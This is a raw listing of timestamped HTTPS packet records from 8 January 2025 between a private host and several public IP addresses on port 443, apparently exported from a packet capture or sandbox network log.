Jan 8, 2025 15:44:44.120304108 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.120312929 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.120332956 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.120366096 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.120395899 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.120436907 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.120460033 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.123092890 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.124037027 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.149214029 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.149221897 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.181210995 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.197897911 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.210011959 CET	443	49806	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:44.210167885 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.210247040 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.210278988 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.210314989 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.210326910 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.210326910 CET	49806	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:44.210340977 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.210354090 CET	443	49806	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:44.210372925 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.210388899 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.210429907 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.210438013 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.210654020 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.210690975 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.210736990 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.210747957 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.210757971 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.210794926 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.210808039 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.210836887 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.210886955 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.210896015 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.210910082 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.210942030 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.211091995 CET	443	49805	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.211433887 CET	443	49806	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:44.211528063 CET	49806	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:44.211911917 CET	49806	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:44.211930990 CET	49806	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:44.211975098 CET	49806	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:44.211977959 CET	443	49806	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:44.212029934 CET	49806	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:44.212399960 CET	49810	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:44.212438107 CET	443	49810	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:44.212498903 CET	49810	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:44.212582111 CET	49805	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.212589025 CET	443	49805	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.212799072 CET	49810	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:44.212811947 CET	443	49810	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:44.214217901 CET	443	49805	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.214298964 CET	49805	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.215404034 CET	49805	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.215491056 CET	443	49805	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.215537071 CET	49805	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.261251926 CET	49805	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.261265039 CET	443	49805	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.282481909 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.282794952 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.282814026 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.283158064 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.283497095 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.283562899 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.283665895 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.307226896 CET	49805	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.327336073 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.347417116 CET	443	49805	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.347518921 CET	443	49805	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.347562075 CET	443	49805	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.347599983 CET	443	49805	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.347620010 CET	49805	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.347631931 CET	443	49805	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.347671032 CET	443	49805	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.347704887 CET	443	49805	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.347794056 CET	443	49805	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.347795963 CET	49805	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.347795963 CET	49805	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.349495888 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.349565983 CET	49805	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.349567890 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.349602938 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.349617004 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.349641085 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.349837065 CET	49805	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.349857092 CET	443	49805	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.349863052 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.349869967 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.350019932 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.350616932 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.350651026 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.350668907 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.350676060 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.350708008 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.350708961 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.350742102 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.350790024 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.350797892 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.350897074 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.351413965 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.351464987 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.351492882 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.351517916 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.351525068 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.351567984 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.352153063 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.352253914 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.353874922 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.354029894 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.354046106 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.358481884 CET	49811	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.358520031 CET	443	49811	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.358601093 CET	49811	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.358891010 CET	49811	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.358906031 CET	443	49811	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.364701033 CET	443	49808	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.364907026 CET	49808	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.364916086 CET	443	49808	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.366288900 CET	443	49808	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.366354942 CET	49808	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.366712093 CET	49808	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.366724014 CET	49808	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.366791010 CET	443	49808	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.366803885 CET	49808	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.366842985 CET	49808	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.367063999 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.367078066 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.367292881 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.367507935 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.367520094 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.470858097 CET	443	49809	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.471323013 CET	49809	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.471339941 CET	443	49809	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.472369909 CET	443	49809	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.472441912 CET	49809	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.472728968 CET	49809	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.472748041 CET	49809	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.472788095 CET	49809	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.472791910 CET	443	49809	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.472848892 CET	49809	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.473109007 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.473153114 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.475116014 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.475297928 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.475318909 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.680001020 CET	443	49810	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:44.680422068 CET	49810	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:44.680444002 CET	443	49810	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:44.680768967 CET	443	49810	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:44.681068897 CET	49810	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:44.681138992 CET	443	49810	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:44.681219101 CET	49810	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:44.727333069 CET	443	49810	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:44.825009108 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.825306892 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.825328112 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.825649023 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.825963020 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.826026917 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.826159954 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.828449965 CET	443	49811	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.828630924 CET	49811	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.828639030 CET	443	49811	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.829754114 CET	443	49811	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.829829931 CET	49811	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.830094099 CET	49811	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.830106020 CET	49811	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.830153942 CET	49811	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.830154896 CET	443	49811	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.830213070 CET	49811	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.830486059 CET	49814	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.830508947 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.830588102 CET	49814	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.830792904 CET	49814	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:44.830802917 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:44.871330023 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.930954933 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.931293964 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.931308985 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.932343006 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.932408094 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.932697058 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.932759047 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.932838917 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.932847023 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.988238096 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.200660944 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.243340015 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.300281048 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.300586939 CET	49814	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:45.300602913 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.300964117 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.301271915 CET	49814	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:45.301362991 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.301405907 CET	49814	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:45.347335100 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.355245113 CET	49814	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:45.452430010 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.452495098 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.452538013 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.452558994 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.452594995 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.452637911 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.452784061 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.453222036 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.453255892 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.453269958 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.453294039 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.453335047 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.453761101 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.453856945 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.453896999 CET	49814	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:45.453907013 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.453938961 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.453972101 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.453974009 CET	49814	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:45.453980923 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.454019070 CET	49814	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:45.454024076 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.454430103 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.454464912 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.454468966 CET	49814	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:45.454474926 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.454511881 CET	49814	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:45.454982996 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.455080032 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.455121040 CET	49814	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:45.465130091 CET	49814	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:45.465147018 CET	443	49814	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:45.541130066 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.583328962 CET	443	49810	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:45.583465099 CET	443	49810	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:45.583518028 CET	49810	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:45.595715046 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.595753908 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.598000050 CET	49810	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:45.598045111 CET	443	49810	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:45.600589991 CET	49815	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:45.600626945 CET	443	49815	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:45.600693941 CET	49815	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:45.602884054 CET	49815	443	192.168.2.16	35.190.80.1
Jan 8, 2025 15:44:45.602895975 CET	443	49815	35.190.80.1	192.168.2.16
Jan 8, 2025 15:44:45.628020048 CET	49816	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:45.628077030 CET	443	49816	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:45.628215075 CET	49816	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:45.628488064 CET	49816	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:45.628506899 CET	443	49816	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:45.642200947 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.708798885 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.708997965 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.709033966 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.709053040 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.709073067 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.709084034 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.709111929 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.709513903 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.709562063 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.709574938 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.709610939 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.709640980 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.709655046 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.709662914 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.709697962 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.710393906 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.710450888 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.710481882 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.710494041 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.710505009 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.710549116 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.710556984 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.711323023 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.711352110 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.711369038 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.711376905 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.711422920 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.711431026 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.711483955 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.711525917 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.711534977 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.712203979 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.712251902 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.712260962 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.717623949 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.754225016 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.759537935 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.797576904 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.797637939 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.797676086 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.797693014 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.797717094 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.797765970 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.797787905 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.797852993 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.797894955 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.797907114 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.798309088 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.798357010 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.798372030 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.798412085 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.798413038 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.798423052 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.798461914 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.799304962 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.799355030 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.799361944 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.799370050 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.799401045 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.799401045 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.799448013 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.799448013 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.799474001 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.799490929 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.800137997 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.800204039 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.800344944 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.800365925 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.815707922 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.866205931 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.866215944 CET	443	49813	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.914236069 CET	49813	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.966561079 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.966695070 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.966728926 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.966761112 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.966762066 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.966799974 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.966814995 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.967617035 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.967667103 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.967669010 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.967684031 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.967729092 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.967730999 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.967742920 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:45.967806101 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:45.967823029 CET	443	49812	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:46.010262012 CET	49812	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:46.010293961 CET	443	49812	172.67.144.59	192.168.2.16
